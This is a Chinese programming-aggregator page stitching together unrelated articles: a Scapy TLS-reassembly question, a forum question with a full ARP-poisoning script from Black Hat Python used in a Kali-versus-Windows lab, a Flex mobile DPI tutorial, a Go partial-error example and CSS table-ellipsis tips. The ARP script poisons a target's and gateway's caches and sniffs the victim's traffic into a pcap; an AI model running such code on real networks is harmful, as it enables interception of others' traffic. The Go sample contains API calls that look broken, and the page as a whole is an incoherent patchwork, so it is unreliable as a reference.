GVKun编程网logo

Scapy:处理部分TLS段

22

对于Scapy:处理部分TLS段感兴趣的读者,本文将提供您所需要的所有信息,并且为您提供关于ARP中毒scapy:未能获得目标MAC、Flex移动skin–第2部分:处理不同的像素密度、golang的

对于Scapy:处理部分TLS段感兴趣的读者,本文将提供您所需要的所有信息,并且为您提供关于ARP中毒scapy:未能获得目标MAC、Flex移动skin – 第2部分:处理不同的像素密度、golang的框架如何处理部分成功的错误?、html如何只显示部分td文字的宝贵知识。

本文目录一览:

Scapy:处理部分TLS段

Scapy:处理部分TLS段

我正在尝试使用Scapy从pcap提取TLS元数据。我能够成功解析数据包和单个消息,例如client-hello,server-hello等及其字段。我遇到的麻烦是TLS记录分布在多个TCP数据包/段中。对于大型TLS消息(例如应用程序数据)或服务器在一个TLS帧中发送多个TLS消息(服务器问候,证书等)时,通常会发生这种情况。scapy表示,在这种情况下,它具有TLS/SSLv2层,但我无法从此类帧中提取任何有意义的信息。当我在wireshark中查看相同的pcap时,wireshark显示

Reassembled TCP segments (T bytes): #X (x),#Y(y),#Z(z)

其中T是合计总数;X,Y,Z是帧ID,x,y,z是每个帧中占总T的字节数。Wireshark在解析TLS帧之前会重新组装整个TLS有效负载。

我的代码中有这样的内容:

if pkt.haslayer(TCP) and pkt.haslayer(TLS):
  parseTLS(pkt)
elif pkt.haslayer(TCP) and pkt.haslayer(SSLv2):
  parseSSLv2(pkt)

当它遇到部分TLS数据包时,该代码始终落入SSLv2。我是否有办法准确地将数据包标识为部分tls段并进行累积,然后像wireshark一样处理完整的TLS帧?如果是这样,我该怎么做。任何指针或帮助表示赞赏。谢谢。

ARP中毒scapy:未能获得目标MAC

ARP中毒scapy:未能获得目标MAC

在Justin Seitz Black Hat Python书的第四章中,详细介绍了使用scapy进行ARP中毒的部分。 我有问题获取目标机器的目标ip的mac地址。 我使用的是Kali VM作为攻击机器,Win 7 VM作为目标机器。

from scapy.all import * import os import sys import threading import signal interface = "eth0" target_ip = "10.0.2.15" gateway_ip = "10.0.2.2" packet_count = 1000 def restore_target(gateway_ip,gateway_mac,target_ip,target_mac): print "[*} Restoring target..." send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5) send(Arp(op=2,psrc=target_ip,pdst=gateway_ip,hwsrc=target_mac),count=5) os.kill(os.getpid(),signal.SIGINT) def get_mac(ip_address): responses,unanswered = srp( Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address),timeout=2,retry=10) for s,r in responses: return r[Ether].src return None def poison_target(gateway_ip,target_mac): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip posion_target.hwdst = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst = gateway_mac print "[*] Beginning the ARP poison. [CTRL-C to stop]" while True: try: send(poison_target) send(poison_gateway) time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip,target_mac) print "[*] ARP poison attack finished." return conf.iface = interface conf.iface = interface conf.verb = 0 print "[*] Setting up %s" % interface gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print "[!!!] Failed to get gateway MAC. Exiting." sys.exit(0) else: print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac) target_mac = get_mac(target_ip) if target_mac is None: print "[!!!] Failed to get target MAC. Exiting." sys.exit(0) else: print "[*] Target %s is at %s" % (target_ip,target_mac) poison_thread = threading.Thread(target=posion_target,args=( gateway_ip,target_mac)) poison_thread.start() try: print "[*] Starting sniffer for %d packets" % packet_count bpf_filter = "ip host %s" % target_ip packets = sniff(count=packet_count,filter=bpf_filter,iface=interface) wrpcap('arper.pcap',packets) restore_target(gateway_ip,target_mac) except KeyboardInterrupt: restore_target(gateway_ip,target_mac) sys.exit(0)

攻击机:

root@kali:~/Documents# ifconfig eth0: flags=4163<UP,broADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 inet6 fe80::a00:27ff:fe81:b1df prefixlen 64 scopeid 0x20<link> ether 08:00:27:81:b1:df txqueuelen 1000 (Ethernet) RX packets 101529 bytes 101906744 (97.1 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 34775 bytes 3530239 (3.3 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 218 bytes 13972 (13.6 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 218 bytes 13972 (13.6 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

输出:

root@kali:~/Documents# sudo python arper.py [*] Setting up eth0 [*] Gateway 10.0.2.2 is at 52:54:00:12:35:02 [!!!] Failed to get target MAC. Exiting.

configurationARP老化超时

用于安全更新和修补程序的registry项位置

在侦听数据包时,我遇到了Linux的networking堆栈问题

从已知的MAC地址使用ARP获取未知的IP地址?

SendARP相当于Linux

如何查询指定邻居的IPv6 NDP(邻居发现协议)表

Android ARP清除时间

从MAC地址获取IP。 ARP – 一个不显示设备

在Linux 2.6.21上执行ARP和逆向ARP(glibc 2.3.5)

将arp绑定添加到ARP表Linux中

你使用kali(攻击机器)的IP作为target_ip (10.0.2.15)。 Win运行在同一台计算机上,但是在一台虚拟机上,通常一台虚拟机拥有自己的IP( https://www.quora.com/Do-virtual-machines-have-their-own-IP )

如果虚拟机上的Win自动运行在同一个网络上,甚至不能确定。 在同一个/24网络(即10.0.2.x / 24 – 替换x)为VM和kali分配静态IP请参阅https://serverfault.com/questions/839443/giving-the-vm-an-自己的IP地址&#x7684;

编码器是正确的:首先检查是否通过ping建立网络连接

Flex移动skin – 第2部分:处理不同的像素密度

Flex移动skin – 第2部分:处理不同的像素密度

在这个讨论创建 Flex 移动 skin 的系列的 第 1 部分 中,我讨论了 Flex 团队在 Mobile 主题中所做的性能优化的原理,提供了一个以性能为主要关注点的简单 Button skin 示例。移动 skin 领域的下一个主要主题是,针对当今可用的各种移动屏幕调整应用程序的外观和感觉。

Flex 4.5 增加了一些新特性以支持像素密度不同的移动设备;像素密度也称为每英寸像素数 (PPI) 或每英寸点数 (DPI)。这些特性包括应用程序缩放、多 DPI 位图、基于 CSS @media 查询的样式规则和与 DPI 相关的 Mobile 主题。

为什么要关注屏幕像素密度?

如果您原来从事桌面 Flex 开发,可能想知道为什么应该关注屏幕像素密度。

当今的移动设备具有不同的大小和屏幕 DPI(见表 1)。在桌面环境中,屏幕大小也不一致,但是 DPI 值大体上是相似的。因此,通常根据像素尺寸设计(本机或基于浏览器的)桌面应用程序。

表 1. 移动设备分辨率、大小和 DPI 值的示例

生产商

设备

分辨率 (px)

屏幕对角线长度 (in)

DPI

Apple

iPhone 4,iPod 4

960 x 640

3.5

326

iPad 1,iPad 2

1024 x 768

9.7

132

BlackBerry

PlayBook

1024 x 600

7

170

HTC

Evo

800 x 480

4.3

217

Motorola

Atrix

960 x 540

4

275

Xoom

1280 x 800

10.1

150

Samsung

galaxy Tab

170

关键是一些设备在相同的物理空间中容纳的像素多得多。如果设计一个大小为 80 x 80 像素的按钮,这个按钮在 160 DPI 的设备(比如 BlackBerry PlayBook 或 Samsung galaxy Tab)上显示为边长大约 0.5 英寸的正方形。如果在 DPI 值更高的设备(比如 iPhone 4)上运行相同的应用程序,这个按钮的边长现在是 0.25 英寸,很难通过触摸屏操作它。

同样的原理也适用于字体大小选择、基于像素的布局、位图图像等方面。屏幕上任何元素的位置和大小都需要根据屏幕的 DPI 来设置。如果不解决屏幕像素密度问题,应用程序在许多移动设备上会太大或太小。

Flex 4.5 引入了几个新特性以解决屏幕像素密度问题。开发人员可以使用方便的自动应用程序缩放,也可以使用与密度相关的图像和逻辑人工地管理设计保真度和控制能力。

自动应用程序缩放

Flex 4.5 支持 DPI 分类。设备的像素密度范围很宽,为了进行布局,有必要对它们分类;例如,238 DPI 或 249 DPI 的屏幕基本上与 240 DPI 的设备相当。Flex 支持三个 DPI 类别:160、240 和 320。

Application 类及其子类中增加了新的 applicationDPI 属性。当把这个属性设置为以上 DPI 类别之一时,应该针对这个 DPI 设计布局。如果应用程序在 DPI 类别不同的设备上运行,整个应用程序会自动地缩放,让 UI 在此设备上以大体相同的物理大小出现。

本文的示例文件包含 TwitterTrendsFinal.fxp。在这个示例项目中,applicationDPI 设置为 160,针对 160 DPI 屏幕适当地确定了各个布局值的大小(比如 TweetsView 列表中的 iconWidth 和 iconHeight 以 及 UserInfoView 中的 padding/gaps)。在 160 DPI 设备上(比如 Motorola Droid Pro),应用程序采用指定的大小。在 240 DPI 设备上(比如 Droid X 或 Droid 2),应用程序统一地放大 50%。图 1 按绝对像素数对比 160 DPI 屏幕与 240 DPI 屏幕的大小。图 2 显示相同的屏幕截图,但是 240 DPI 图像已经变小了,显示相近的物理大小。但是,在 MXML 和 ActionScript 代码中,所有的值还是原来针对 160 DPI 的值;在 stage 级上应用缩放。

320 x 480 160 DPI(左)和 480 x 800 240 DPI(右)上的实际像素

图 1. 320 x 480 160 DPI(左)和 480 x 800 240 DPI(右)上的实际像素

320 x 480 160 DPI(左)和 480 x 800 240 DPI(右)上的物理大小

图 2. 320 x 480 160 DPI(左)和 480 x 800 240 DPI(右)上的物理大小

注意,由于矢量绘制会产生痕迹,一般来说最好是放大而不是缩小。因此,最好针对低的密度(比如 160 DPI)进行设计,让应用程序在高密度设备上放大。

与密度相关的位图

在使用 applicationDPI 根据不同的密度自动地缩放应用程序时,矢量缩放并不包括文本;而是缩放字体大小,从而以不同的大小显示保真度很高的文本。但是,位图会被缩放。这并不好, 因为放大位图通常会产生不可接受的痕迹。为了缓解这个问题,Flex 4.5 引入了新的 MultiDPIBitmapSource 类。这个类有三个属性(source160dpi、source240dpi 和 source320dpi)。它根据实际的 DPI 为每个设备使用最合适的位图。例如,假设一个按钮图标在 160 DPI 设备上应该是 24 x 24。并不把一个图像直接指定为 Button 组件的 icon 属性,而是把 icon 属性设置为一个 MultiDPIBitmapSource 实例,这个实例还引用在 240 DPI 上使用的 36 x 36 图标和在 320 DPI 上使用的 48 x 48 图标。代码如下:

<s:Button> <s:icon> <s:MultiDPIBitmapSource source160dpi="@Embed('/assets/refresh160.png')" source240dpi="@Embed('/assets/refresh240.png')" source320dpi="@Embed('/assets/refresh320.png')"/> </s:icon></s:Button>

继续以上场景,假设已经把 applicationDPI 设置为 160,应用程序在 320 DPI 设备上运行。尽管矢量会放大 100%,但是如果指定了多 DPI 位图,Flex 不会把 160 DPI 位图放大 100%;相反,会使用 320 DPI 位图并对此位图进行适当的转换,让它以适当的大小出现,它的所有像素都不缩放。

在能够使用嵌入的或动态装载的图像引用的几乎任何地方,都可以指定 MultiDPIBitmapSource 对象——例如,作为 Image 的 source 属性或作为 Button 的 icon 属性。一个例外是,不能使用 MultiDPIBitmapSource 对象作为应用程序的快闪屏;在这种情况下,需要指定高分辨率位图,让 Flex 对于低密度设备缩小它。

应用程序缩放总结和考虑因素

如果希望使用应用程序缩放,就需要:

  • 针对您指定的 applicationDPI 值,创建一套 skin 和视图/组件布局。Adobe 建议使用 160 值,通过乘以 1.5 和 2 分别放大到 240 DPI 和 320 DPI。
  • 对于在 skin 中或应用程序中其他地方使用的任何位图资产,创建多个版本并使用 MultiDPIBitmapSource 指定它们。如果使用应用程序缩放,skin 中的矢量资产和文本不需要与密度相关联。
  • 忽略 @media 规则,因为应用程序只需要考虑一种目标 DPI。
  • 在不同密度的设备上测试应用程序,确认缩放后应用程序的外观在每个设备上都是可接受的。尤其是要检查需要非整数的缩放因子的设备。例如,如果 applicationDPI 是 160,应该在 240 DPI 设备上测试应用程序。

在使用缩放时可能出现的缺陷是,可能有可以看出来的痕迹。当缩放因子不是整数时(例如 160 乘以 1.5 到 240),在某些情况下矢量资产上会出现可以看出来的痕迹。尤其是,根据线条宽度、线条对齐和 Flash Player 执行的像素 snapping,线条可能出现模糊或略微偏移。

文本和位图一般没问题。文本应该不会显示出任何痕迹,因为文本是通过缩放字体大小值缩放的,而不是通过缩放实际的矢量。如果使用 MultiDPIBitmapSource 为每个 DPI 指定适当的位图,位图应该不会显示出缩放痕迹。

在实践中,Flex 团队对比了使用放大到 240 DPI 的 160 DPI skin 与使用未缩放的 240 DPI skin 的效果,只发现了非常小的可见差异。对于大多数应用程序,这种方法的效果应该很好,不需要改进了。但是,如果发现缩放产生了不可接受的痕迹,或者由于其他 原因需要更细致地控制应用程序在不同密度的设备上的行为,那么可以按下一节中的说明人工地管理密度。

与密度相关的 skin 和样式

如果没有显式地设置 applicationDPI,它的值会设置为设备的 DPI 类别。Flex 4.5 附带的 Mobile 主题根据applicationDPI 值选择适当的图像类,以及确定组件 skin 的位置和大小。对于不由 skin 控制的元素,比如布局元素,应用程序应该根据不同的密度自动地管理布局值。尤其是,应该在运行时根据 applicationDPI 动态地计算代码中的所有像素值(通过命令式代码或数据绑定),还应该对位图使用 MultiDPIBitmapSource。

通过 CSS @media 查询实现与密度相关的样式

Flex 4.5 引入了一套有限的 CSS 媒体查询功能,可以使用它们声明只应用于特定密度的 CSS 规则。例如,Mobile 主题使用与 DPI 相关的规则指定 ActionBar 标题的默认字体大小:

ActionBar #titleDisplay { fontSize: 24pt; }@media (application-dpi: 160){ ActionBar #titleDisplay { fontSize: 18pt; }}@media (application-dpi: 320){ ActionBar #titleDisplay { fontSize: 36pt; }}

golang的框架如何处理部分成功的错误?

golang的框架如何处理部分成功的错误?

golang web 应用程序中,处理部分成功错误至关重要:使用自定义错误类型(如 grouperror)收集并处理部分成功的错误。并发执行创建对象的操作,将成功结果收集到一个数组中,并将错误收集到 grouperror 中。如果有错误,则返回带有所有错误信息的 500 internal server error 响应。否则,返回 200 ok 响应及成功的对象。这种解决方案优雅且可扩展,可改善开发人员和最终用户体验。

golang的框架如何处理部分成功的错误?

Go 框架处理部分成功错误的最佳实践

在 Golang Web 应用程序中,错误处理是一个至关重要的方面。框架如何处理部分成功错误对于保持代码干净和可扩展至关重要。

场景:考虑一个同时创建多个对象的 API 端点。如果其中一个对象创建成功,而另一个失败,我们如何优雅地处理此情况?

立即学习“go语言免费学习笔记(深入)”;

实战案例:

package main

import (
    "context"
    "fmt"
    "net/http"

    "github.com/go-chi/chi"
    "github.com/go-chi/render"
)

// UserService simulates a service that creates user objects.
type UserService struct{}

// CreateUser creates a new user.
func (s *UserService) CreateUser(ctx context.Context, user *User) (*User, error) {
    // Create user in database
    return &User{}, nil // stub implementation
}

// User represents a user object.
type User struct {
    ID   int    `json:"id"`
    Name string `json:"name"`
}

func main() {
    r := chi.NewRouter()
    r.Post("/users", CreateUserHandler)

    http.ListenAndServe(":3000", r)
}

// CreateUserHandler handles the POST /users request.
func CreateUserHandler(w http.ResponseWriter, r *http.Request) {
    u := new(User)
    if err := render.Bind(r, u); err != nil {
        render.Render(w, r, ErrorRenderer(http.StatusUnprocessableEntity, err))
        return
    }

    users := []*User{}

    // Create users concurrently
    svcs := []func() error{
        func() error {
            u1, err := UserService{}.CreateUser(r.Context(), u)
            if err != nil {
                return err
            }
            users = append(users, u1)
            return nil
        },
        // ... Add more create user callouts here
    }

    var groupErr GroupError

    // Execute create calls concurrently and collect errors
    for _, svc := range svcs {
        if err := svc(); err != nil {
            groupErr.Errors = append(groupErr.Errors, err)
        }
    }

    if len(groupErr.Errors) > 0 {
        w.WriteHeader(http.StatusInternalServerError)
        render.Render(w, r, ErrorRenderer(http.StatusInternalServerError, &groupErr))
        return
    }

    render.JSON(w, r, users)
}

// ErrorRenderer renders the error response.
func ErrorRenderer(status int, err error) *render.Renderer {
    return &render.StatusRenderer{
        Status: status,
        Render: func(w http.ResponseWriter, r *http.Request) {
            render.JSON(w, r, map[string]interface{}{
                "status":  status,
                "message": err.Error(),
            })
        },
    }
}

// GroupError is a custom error type to represent multiple errors.
type GroupError struct {
    Errors []error
}

func (ge *GroupError) Error() string {
    return fmt.Sprintf("Multiple errors encountered: %s", ge.Errors)
}
登录后复制

在这个例子中,我们使用了一个自定义错误类型 GroupError 来收集部分成功的错误。

  • 每个创建用户调用的结果通过并发性被收集到 users 数组。
  • 对于失败的调用,错误被收集到 GroupError。
  • 如果有错误,API 返回 500 Internal Server Error,其中包含所有错误的详细信息。否则,它返回 200 OK 及其成功的用户对象。

这个解决方案优雅且可扩展,它允许框架优雅地处理部分成功错误,同时保持响应易于理解,从而改善了开发人员体验和最终用户体验。

以上就是golang的框架如何处理部分成功的错误?的详细内容,更多请关注php中文网其它相关文章!

html如何只显示部分td文字

html如何只显示部分td文字

这篇文章介绍的内容是html如何只显示部分td文字,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下

可以直接这样写:

for( var i=0;i<team.makeup_newsList.length;i++){
				var newsresult=team.makeup_newsList[i];
				newstag+=&#39;<p>&#39;+
	                     &#39;<p>&#39;+
	                      &#39;<span><i></i></span>&#39;+
	                      &#39;</p>&#39;+
	                      &#39;<p>&#39;+
	                      		&#39;<p><muted>&#39;+newsresult.pubdate+&#39;</muted><br/>&#39;+
	                      		   &#39;<a href="#">&#39;+newsresult.title+&#39;</a>,作者:&#39;+newsresult.makeup_user.username+&#39;<br/>&#39;+
	   
	                      		 &#39;</p>&#39;+
	                      		 &#39;<p>&#39;+newsresult.content+&#39;</p>&#39;
	                      &#39;	</p>&#39;+
	                     &#39; </p>&#39;;
			}
			 $(&#39;#newslist&#39;).html(newstag);
登录后复制

效果

方法一:

table增加下面属性

参考内容

HTML如何让table中的td内容过长显示为固定长度,多余部分用省略号代替

这个问题呢,是由于我们公司测试的部门测出来的,虽然说测试的内容本身就是个BUG,不过这个也让我学到了一个比较好的归类于布局的一个小技巧,就是将td标签中过长的内容只显示为这个td的width的长度,之后的便以省略号代替。

方式如下:

这个功能有一个前提,在table中必须设置style:

table-layout: fixed;

这条属性就是让table的内部布局固定大小。这个时候就用width属性调节td的长度。

之后在添加如下:

<style>
td {
      white-space:nowrap;
      overflow:hidden;
      text-overflow: ellipsis;
}
</style>
登录后复制

属性描述

white-space:nowrap;规定段落中的文本不进行换行
overflow:hidden;关闭滚动条
text-overflow: ellipsis;溢出的文字显示为省略号
登录后复制

这个时候你会发现,就算变成了省略号,就会出现不知道内容完整的是什么?

所以这个时候可以考虑使用td的title属性,在title属性中设置内容为显示内容,这样只要光标停留在td处就可以显示全部的内容,如果觉得这个不够劲。可以考虑自己写一个mouseover事件,让内容全部显示,显示的方式是自动换行,如果不换行就会出现很难看的样式。

so:换行也需要table-layout: fixed;

在(IE浏览器)长串英文自动回行

方法1:同时加入word-wrap:break-word;

table{
        table-layout:fixed;
        word-wrap:break-word;
}
登录后复制

方法二:

<style type="text/css">
 /*自动换行,IE,Chrome通用,FireFox连续英文不换行(遇空格换一行)*/
.AutoNewline_break{
  word-wrap:break-word; word-break:break-all; 
}

 .AutoNewline_normal{
   word-wrap:break-word; word-break:normal; 
}
 /*强制不换行,IE,FireFox,Chrome通用*/
 .NoNewline{
    white-space:nowrap
}
/*标签继承*/
p {
  background:red;  word-wrap: break-word;  word-break:break-all;
 }
</style>
登录后复制

上述style中的.*开头的是指html标签中class是*的标签,p就是指所有的p。

如: .NoNewline就是指class为NoNewline的标签样式改为:white-space:nowrap

用js修改style即可。当然最后也要写一个mouseout事件取消mouseover事件。


相关推荐:

如何将

文字过长的部分变成省略号显示

css table td 文字过长隐藏

用css解决table文字溢出控制td显示字数

以上就是html如何只显示部分td文字的详细内容,更多请关注php中文网其它相关文章!

今天关于Scapy:处理部分TLS段的讲解已经结束,谢谢您的阅读,如果想了解更多关于ARP中毒scapy:未能获得目标MAC、Flex移动skin – 第2部分:处理不同的像素密度、golang的框架如何处理部分成功的错误?、html如何只显示部分td文字的相关知识,请在本站搜索。

本文标签: